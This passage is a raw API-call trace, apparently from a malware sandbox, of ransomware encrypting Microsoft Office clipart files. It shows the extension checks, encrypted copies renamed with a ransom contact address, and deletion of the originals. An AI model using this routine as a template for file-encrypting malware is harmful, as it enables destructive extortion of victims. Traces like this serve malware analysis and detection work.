(lpString1=".jpg", lpString2=".WMF") returned -1 [0187.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0187.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0187.771] lstrlenW (lpString=".doc") returned 4 [0187.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.771] lstrlenW (lpString=".docx") returned 5 [0187.771] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.771] lstrlenW (lpString=".pdf") returned 4 [0187.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.771] lstrlenW (lpString=".xls") returned 4 [0187.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.771] lstrlenW (lpString=".xlsx") returned 5 [0187.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.771] lstrlenW (lpString=".ppt") returned 4 [0187.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0187.772] lstrlenW (lpString=".zip") returned 4 [0187.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.772] lstrlenW (lpString=".rar") returned 4 [0187.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.772] lstrlenW (lpString=".bz2") returned 4 [0187.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.772] lstrlenW (lpString=".7z") returned 3 [0187.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0187.772] lstrlenW (lpString=".dbf") returned 4 [0187.772] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0187.772] lstrlenW (lpString=".1cd") returned 4 [0187.772] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0187.772] lstrlenW (lpString=".jpg") returned 4 [0187.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.772] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.772] lstrlenW (lpString="DD01167_.WMF") returned 12 [0187.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.773] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2080) returned 1 [0187.773] CloseHandle (hObject=0x1e0) returned 1 [0187.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x20 [0187.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.773] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.773] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.774] GetLastError () returned 0x0 [0187.774] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x820, lpOverlapped=0x0) returned 1 [0187.775] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x830, lpOverlapped=0x0) returned 1 [0187.776] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.776] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.776] SetEndOfFile (hFile=0x1e4) returned 1 [0187.776] CloseHandle (hObject=0x1e4) returned 1 [0187.776] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.776] SetEndOfFile (hFile=0x1e0) returned 1 [0187.777] CloseHandle (hObject=0x1e0) returned 1 [0187.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0187.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0187.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0187.778] lstrlenW (lpString=".doc") returned 4 [0187.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.778] lstrlenW (lpString=".docx") returned 5 [0187.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.778] lstrlenW (lpString=".pdf") returned 4 [0187.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.778] lstrlenW (lpString=".xls") returned 4 [0187.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.778] lstrlenW (lpString=".xlsx") returned 5 [0187.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.778] lstrlenW (lpString=".ppt") returned 4 [0187.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0187.778] lstrlenW (lpString=".zip") returned 4 [0187.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.778] lstrlenW (lpString=".rar") returned 4 [0187.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.778] lstrlenW (lpString=".bz2") returned 4 [0187.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.778] lstrlenW (lpString=".7z") returned 3 [0187.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0187.778] lstrlenW (lpString=".dbf") returned 4 [0187.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0187.778] lstrlenW (lpString=".1cd") returned 4 [0187.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0187.778] lstrlenW (lpString=".jpg") returned 4 [0187.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0187.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0187.779] lstrlenW (lpString=".doc") returned 4 [0187.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.779] lstrlenW (lpString=".docx") returned 5 [0187.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.779] lstrlenW (lpString=".pdf") returned 4 [0187.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.779] lstrlenW (lpString=".xls") returned 4 [0187.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.779] lstrlenW (lpString=".xlsx") returned 5 [0187.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.779] lstrlenW (lpString=".ppt") returned 4 [0187.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0187.779] lstrlenW (lpString=".zip") returned 4 [0187.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.779] lstrlenW (lpString=".rar") returned 4 [0187.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.779] lstrlenW (lpString=".bz2") returned 4 [0187.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.779] lstrlenW (lpString=".7z") returned 3 [0187.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0187.779] lstrlenW (lpString=".dbf") returned 4 [0187.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0187.779] lstrlenW (lpString=".1cd") returned 4 [0187.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 63 [0187.779] lstrlenW (lpString=".jpg") returned 4 [0187.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.780] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.780] lstrlenW (lpString="DD01168_.WMF") returned 12 [0187.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.780] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2004) returned 1 [0187.780] CloseHandle (hObject=0x1e0) returned 1 [0187.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x20 [0187.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.780] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.780] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.783] GetLastError () returned 0x0 [0187.783] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x7d4, lpOverlapped=0x0) returned 1 [0187.802] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x7e0, lpOverlapped=0x0) returned 1 [0187.803] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.803] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.803] SetEndOfFile (hFile=0x1e4) returned 1 [0187.803] CloseHandle (hObject=0x1e4) returned 1 [0187.803] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.803] SetEndOfFile (hFile=0x1e0) returned 1 [0187.804] CloseHandle (hObject=0x1e0) returned 1 [0187.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0187.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0187.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0187.805] lstrlenW (lpString=".doc") returned 4 [0187.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.805] lstrlenW (lpString=".docx") returned 5 [0187.805] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.805] lstrlenW (lpString=".pdf") returned 4 [0187.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.805] lstrlenW (lpString=".xls") returned 4 [0187.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.805] lstrlenW (lpString=".xlsx") returned 5 [0187.805] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.805] lstrlenW (lpString=".ppt") returned 4 [0187.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0187.805] lstrlenW (lpString=".zip") returned 4 [0187.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.805] lstrlenW (lpString=".rar") returned 4 [0187.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.805] lstrlenW (lpString=".bz2") returned 4 [0187.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.805] lstrlenW (lpString=".7z") returned 3 [0187.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0187.805] lstrlenW (lpString=".dbf") returned 4 [0187.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0187.805] lstrlenW (lpString=".1cd") returned 4 [0187.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0187.805] lstrlenW (lpString=".jpg") returned 4 [0187.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0187.806] lstrlenW (lpString=".doc") returned 4 [0187.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString=".docx") returned 5 [0187.806] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.806] lstrlenW (lpString=".pdf") returned 4 [0187.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString=".xls") returned 4 [0187.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.806] lstrlenW (lpString=".xlsx") returned 5 [0187.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.806] lstrlenW (lpString=".ppt") returned 4 [0187.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0187.806] lstrlenW (lpString=".zip") returned 4 [0187.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.806] lstrlenW (lpString=".rar") returned 4 [0187.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString=".bz2") returned 4 [0187.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString=".7z") returned 3 [0187.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0187.806] lstrlenW (lpString=".dbf") returned 4 [0187.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0187.806] lstrlenW (lpString=".1cd") returned 4 [0187.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 63 [0187.806] lstrlenW (lpString=".jpg") returned 4 [0187.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.807] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.807] lstrlenW (lpString="DD01169_.WMF") returned 12 [0187.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.807] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2020) returned 1 [0187.807] CloseHandle (hObject=0x1e0) returned 1 [0187.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x20 [0187.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0187.807] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.807] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0187.808] GetLastError () returned 0x0 [0187.808] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x7e4, lpOverlapped=0x0) returned 1 [0187.810] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0187.811] ReadFile (in: hFile=0x1e0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.811] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.812] SetEndOfFile (hFile=0x1e4) returned 1 [0187.812] CloseHandle (hObject=0x1e4) returned 1 [0187.812] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.812] SetEndOfFile (hFile=0x1e0) returned 1 [0187.812] CloseHandle (hObject=0x1e0) returned 1 [0187.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0187.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0187.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0187.813] lstrlenW (lpString=".doc") returned 4 [0187.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.813] lstrlenW (lpString=".docx") returned 5 [0187.813] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.813] lstrlenW (lpString=".pdf") returned 4 [0187.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.813] lstrlenW (lpString=".xls") returned 4 [0187.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.813] lstrlenW (lpString=".xlsx") returned 5 [0187.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.813] lstrlenW (lpString=".ppt") returned 4 [0187.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0187.813] lstrlenW (lpString=".zip") returned 4 [0187.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.813] lstrlenW (lpString=".rar") returned 4 [0187.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.814] lstrlenW (lpString=".bz2") returned 4 [0187.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.814] lstrlenW (lpString=".7z") returned 3 [0187.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0187.814] lstrlenW (lpString=".dbf") returned 4 [0187.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0187.814] lstrlenW (lpString=".1cd") returned 4 [0187.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0187.814] lstrlenW (lpString=".jpg") returned 4 [0187.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0187.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 63 [0187.814] lstrlenW (lpString=".doc") returned 4 [0187.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.814] lstrlenW (lpString=".docx") returned 5 [0187.814] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.814] lstrlenW (lpString=".pdf") returned 4 [0187.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.814] 